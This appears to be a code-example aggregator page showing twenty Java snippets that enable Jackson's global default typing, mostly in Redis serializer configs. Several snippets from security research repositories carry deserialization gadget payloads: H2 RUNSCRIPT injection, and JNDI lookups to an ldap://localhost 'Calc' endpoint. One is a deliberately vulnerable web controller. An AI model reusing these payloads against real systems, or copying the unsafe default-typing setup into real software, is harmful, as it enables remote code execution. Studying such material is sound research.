Java Code Examples for com.fasterxml.jackson.databind.ObjectMapper#enableDefaultTyping()

The following examples show how to use com.fasterxml.jackson.databind.ObjectMapper#enableDefaultTyping() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: RedisCacheConfig.java    From ZTuoExchange_framework with MIT License 6 votes vote down vote up
/**
 * RedisTemplate配置
 * @param factory
 * @return
 */
@Bean
public RedisTemplate<String, String> redisTemplate(RedisConnectionFactory factory) {
    StringRedisTemplate template = new StringRedisTemplate(factory);
    //定义key序列化方式
    //RedisSerializer<String> redisSerializer = new StringRedisSerializer();//Long类型会出现异常信息;需要我们上面的自定义key生成策略,一般没必要
    //定义value的序列化方式
    Jackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.class);
    ObjectMapper om = new ObjectMapper();
    om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    jackson2JsonRedisSerializer.setObjectMapper(om);

    // template.setKeySerializer(redisSerializer);
    template.setValueSerializer(jackson2JsonRedisSerializer);
    template.setHashValueSerializer(jackson2JsonRedisSerializer);
    template.afterPropertiesSet();
    return template;
}
 
Example 2
Source File: RedisConfig.java    From biliob_backend with MIT License 6 votes vote down vote up
@Bean
public RedisCacheConfiguration redisCacheConfiguration() {
    Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer =
            new Jackson2JsonRedisSerializer<>(Object.class);
    ObjectMapper om = new ObjectMapper();
    om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    jackson2JsonRedisSerializer.setObjectMapper(om);
    RedisSerializationContext.SerializationPair<Object> pair =
            RedisSerializationContext.SerializationPair.fromSerializer(jackson2JsonRedisSerializer);
    return RedisCacheConfiguration.defaultCacheConfig()
            .entryTtl(Duration.ofHours(1))
            .serializeValuesWith(pair)
            .serializeKeysWith(
                    RedisSerializationContext.SerializationPair.fromSerializer(
                            new StringRedisSerializer()));
}
 
Example 3
Source File: Poc.java    From openrasp-testcases with MIT License 6 votes vote down vote up
public static void run(String rootPath) {
    try {
        Class.forName("org.h2.Driver").newInstance();
        writeSQL();

        String jsonStr = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", " + 
        "{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '/tmp/inject.sql'\"}]";

        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        Object obj = mapper.readValue(jsonStr, java.lang.Object.class);

        System.out.println("objectified");
        System.out.println("stringified: " + mapper.writeValueAsString(obj));
    } catch (Exception e)  {
        e.printStackTrace();
    } 
}
 
Example 4
Source File: DefaultTypeTest.java    From learnjavabug with MIT License 6 votes vote down vote up
/**
 * OBJECT_AND_NON_CONCRETE
 *
 * @throws IOException
 */
private static void testGlobalDefaultType2() throws IOException {
  AA aa = new AA();
  aa.setXx(2);
  A a = new A();
  a.setObject(new B());
  a.setAa(aa);
  ObjectMapper mapper = new ObjectMapper();
  //todo 会发现,如果改成 JAVA_LANG_OBJECT 就会报错,OBJECT_AND_NON_CONCRETE 控制接口类的反序列化
  mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
  String json = mapper.writeValueAsString(a);
  // {"i":1,"object":["com.threedr3am.bug.jackson.test.DefaultTypeTest$B",{"i":2}],"aa":["com.threedr3am.bug.jackson.test.DefaultTypeTest$AA",{"xx":2}]}
  System.out.println(json);

  //todo 通过指定非Object class为其他class反序列化成功测试,可以知道,开启了这种全局默认类型,就算不存在Object也可以利用反序列化
  json = "{\"i\":1,\"object\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$B\",{\"i\":2}],\"aa\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$AA\",{\"xx\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());

  //todo 通过指定非Object class为其他class反序列化成功测试,可以知道,开启了这种全局默认类型,就算不存在Object也可以利用反序列化,但需要的是接口interface类型字段
  json = "{\"i\":1,\"object\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$B\",{\"i\":2}],\"c\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$C\",{\"i\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());
}
 
Example 5
Source File: RedisCacheConfig.java    From seckill-rocketmq with Apache License 2.0 6 votes vote down vote up
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {
    RedisTemplate<String, Object> template = new RedisTemplate<>();
    template.setConnectionFactory(factory);

    //使用Jackson2JsonRedisSerializer来序列化和反序列化redis的value值(默认使用JDK的序列化方式)
    Jackson2JsonRedisSerializer serializer = new Jackson2JsonRedisSerializer(Object.class);

    ObjectMapper mapper = new ObjectMapper();
    mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    serializer.setObjectMapper(mapper);

    template.setValueSerializer(serializer);
    //使用StringRedisSerializer来序列化和反序列化redis的key值
    template.setKeySerializer(new StringRedisSerializer());
    template.afterPropertiesSet();
    return template;
}
 
Example 6
Source File: QuartzPoc.java    From learnjavabug with MIT License 5 votes vote down vote up
public static void main(String[] args) throws IOException {
  ObjectMapper mapper = new ObjectMapper();
  mapper.enableDefaultTyping();

  //复现是复现了,但是这样的payload恕我直言,比鸡肋还鸡肋
  mapper.addMixIn(JNDIConnectionProvider.class, AbstractJNDIConnectionProvider.class);
  String json = "[\"org.quartz.utils.JNDIConnectionProvider\", {\"jndiUrl\": \"ldap://localhost:43658/Calc\"}]";
  mapper.readValue(json, Object.class);
}
 
Example 7
Source File: LogbackJndi.java    From learnjavabug with MIT License 5 votes vote down vote up
public static void main(String[] args) throws IOException {

    String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://localhost:43658/Calc\"}]";
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    Object o = mapper.readValue(json, Object.class);
    mapper.writeValueAsString(o);
  }
 
Example 8
Source File: DefaultTypeTest.java    From learnjavabug with MIT License 5 votes vote down vote up
/**
 * NON_CONCRETE_AND_ARRAYS
 *
 * @throws IOException
 */
private static void testGlobalDefaultType3() throws IOException {
  AA aa = new AA();
  aa.setXx(2);
  B[] bArray = new B[3];
  bArray[0] = new B();
  bArray[1] = new B();
  bArray[2] = new B();
  A a = new A();
  a.setObject(bArray);
  a.setAa(aa);
  ObjectMapper mapper = new ObjectMapper();
  //todo NON_CONCRETE_AND_ARRAYS 支持前面两种类型的数组类型
  mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
  String json = mapper.writeValueAsString(a);
  // {"i":1,"object":["[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;",[{"i":2},{"i":2},{"i":2}]],"aa":["com.threedr3am.bug.jackson.test.DefaultTypeTest$AA",{"xx":2}]}
  System.out.println(json);

  //todo 理论上前面能支持的,这个都支持
  json = "{\"i\":1,\"object\":[\"[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;\",[{\"i\":2},{\"i\":2},{\"i\":2}]],\"aa\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$AA\",{\"xx\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());

  //todo 通过指定非Object class为其他class反序列化成功测试,可以知道,开启了这种全局默认类型,就算不存在Object也可以利用反序列化,但需要的是接口interface类型字段
  json = "{\"i\":1,\"object\":[\"[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;\",[{\"i\":2},{\"i\":2},{\"i\":2}]],\"c\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$C\",{\"i\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());
}
 
Example 9
Source File: DeserController.java    From ZeroNights-WebVillage-2017 with GNU General Public License v3.0 5 votes vote down vote up
@RequestMapping("/jackson")
@ResponseBody
public String jackson(@RequestParam(value = "sess") String session) throws IOException, ClassNotFoundException {

    String webUserJackson = new String(Base64.getDecoder().decode(session), "utf-8");
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.enableDefaultTyping();
    User webUser = (User) objectMapper.readValue(webUserJackson, Object.class);

    return "Hello " + webUser;
}
 
Example 10
Source File: JacksonXmlMapperTest.java    From onetwo with Apache License 2.0 5 votes vote down vote up
@Test
public void testSerialWithTypeList() throws Exception{
	JacksonXmlMapper jacksonXmlMapper = JacksonXmlMapper.ignoreNull();
	ObjectMapper mapper = jacksonXmlMapper.getObjectMapper();
	mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
	
	List<StoreDetailVo> list = Lists.newArrayList();
	StoreDetailVo storeDetailVo = new StoreDetailVo();
	storeDetailVo.setStoreId(1L);
	list.add(storeDetailVo);
	String s = mapper.writeValueAsString(list);
	System.out.println(s);
}
 
Example 11
Source File: JsonSerializerUtil.java    From scaffold-cloud with MIT License 5 votes vote down vote up
private static Jackson2JsonRedisSerializer serializeConfig() {
    Jackson2JsonRedisSerializer jackson2JsonRedisSerializer =
            new Jackson2JsonRedisSerializer<>(Object.class);
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
    jackson2JsonRedisSerializer.setObjectMapper(objectMapper);
    return jackson2JsonRedisSerializer;
}
 
Example 12
Source File: JsonSerializer.java    From dualcache with Apache License 2.0 5 votes vote down vote up
/**
 * Default constructor.
 * @param clazz is the class of object to serialize/deserialize.
 */
public JsonSerializer(Class<T> clazz) {
    this.clazz = clazz;
    mapper = new ObjectMapper();
    mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.NONE);
    mapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
}
 
Example 13
Source File: RedisConfig.java    From codeway_service with GNU General Public License v3.0 5 votes vote down vote up
/**
 * 配置自定义Json序列化器 jackson2
 *
 * @param redisConnectionFactory :redis连接工厂
 * @return :RedisTemplate
 */
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
    RedisTemplate<String, Object> template = new RedisTemplate<>();
    template.setConnectionFactory(redisConnectionFactory);
    // 使用jackson2序列化
    Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer<>(Object.class);

    ObjectMapper mapper = new ObjectMapper();
    mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    mapper.registerModule(new Jdk8Module())
            .registerModule(new JavaTimeModule());
    jackson2JsonRedisSerializer.setObjectMapper(mapper);
    StringRedisSerializer stringRedisSerializer = new StringRedisSerializer();

    // key采用String的序列化方式
    template.setKeySerializer(stringRedisSerializer);
    // hash的key也采用String的序列化方式
    template.setHashKeySerializer(stringRedisSerializer);
    // value序列化方式采用jackson
    template.setValueSerializer(jackson2JsonRedisSerializer);

    // hash的value序列化方式采用jackson
    template.setHashValueSerializer(jackson2JsonRedisSerializer);
    template.afterPropertiesSet();


    // 设置默认使用Jackson序列化
    template.setDefaultSerializer(new Jackson2JsonRedisSerializer<Object>(Object.class));
    return template;
}
 
Example 14
Source File: SpringAopPoc.java    From learnjavabug with MIT License 5 votes vote down vote up
public static void main(String[] args) throws IOException {
  ObjectMapper mapper = new ObjectMapper();
  mapper.enableDefaultTyping();

  String json = "[\"org.springframework.aop.config.MethodLocatingFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\", \"methodName\":\"Foo\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
  Object o = mapper.readValue(json, Object.class);
}
 
Example 15
Source File: RedisConfig.java    From mall-learning with Apache License 2.0 5 votes vote down vote up
@Bean
public RedisSerializer<Object> redisSerializer() {
    //创建JSON序列化器
    Jackson2JsonRedisSerializer<Object> serializer = new Jackson2JsonRedisSerializer<>(Object.class);
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    serializer.setObjectMapper(objectMapper);
    return serializer;
}
 
Example 16
Source File: JsonMapperTest.java    From onetwo with Apache License 2.0 5 votes vote down vote up
@Test
public void testSerialWithTypeList() throws Exception{
	JsonMapper jsonMapper = JsonMapper.ignoreNull();
	ObjectMapper mapper = jsonMapper.getObjectMapper();
	mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
	
	List<StoreDetailVo> list = Lists.newArrayList();
	StoreDetailVo storeDetailVo = new StoreDetailVo();
	storeDetailVo.setStoreId(1L);
	list.add(storeDetailVo);
	String s = mapper.writeValueAsString(list);
	System.out.println(s);
	
	byte[] bytes = jsonMapper.toJsonBytes(list);
	List<StoreDetailVo> list2 = jsonMapper.fromJson(bytes, new TypeReference<List<StoreDetailVo>>() {
	});
	
	assertThat(list2).isEqualTo(list2);
	String str1 = LangUtils.newString(bytes);
	System.out.println("json str1: " + str1);
	

	TestJsonData u1 = new TestJsonData();
	u1.setCreate_time(new Timestamp(new Date().getTime()));
	u1.setUser_name("user_name");
	String str = jsonMapper.toJson(u1);
	System.out.println("json str: " + str);
	bytes = jsonMapper.toJsonBytes(u1);
	
	String str2 = LangUtils.newString(bytes);
	System.out.println("json str2: " + str2);
	
	/*Map jsonstr = jsonMapper.fromJson(bytes, Map.class);
	System.out.println("json map: " + jsonstr);*/
}
 
Example 17
Source File: JacksonConfig.java    From syhthems-platform with MIT License 5 votes vote down vote up
/**
 * Redis缓存使用的ObjectMapper,包含了字段类型定义和基础字段
 *
 * @return ObjectMapper
 * @see GenericJackson2JsonRedisSerializer
 */
@Bean
public ObjectMapper cacheObjectMapper() {
    ObjectMapper objectMapper = this.withoutFilterObjectMapper();
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
    objectMapper.registerModule(new SimpleModule().addSerializer(new CustomNullValueSerializer(null)));
    return objectMapper;
}
 
Example 18
Source File: Jackson.java    From marshalsec with MIT License 5 votes vote down vote up
/**
 * {@inheritDoc}
 *
 * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
 */
@Override
public Object unmarshal ( String data ) throws Exception {
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    return mapper.readValue(data, Object.class);
}
 
Example 19
Source File: UnsafeJacksonObjectDeserialization.java    From Android_Code_Arbiter with GNU Lesser General Public License v3.0 4 votes vote down vote up
public void exampleTwo(String JSON)  throws Exception {
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
    Object obj = mapper.readValue(JSON, ABean.class);
}
 
Example 20
Source File: Polymorphism.java    From JavaSCR with MIT License 4 votes vote down vote up
private static Object deserialize(ObjectMapper mapper, File f) throws IOException {
  mapper.enableDefaultTyping();
  return mapper.readValue(FileUtils.readFileToByteArray(f), Object.class);
}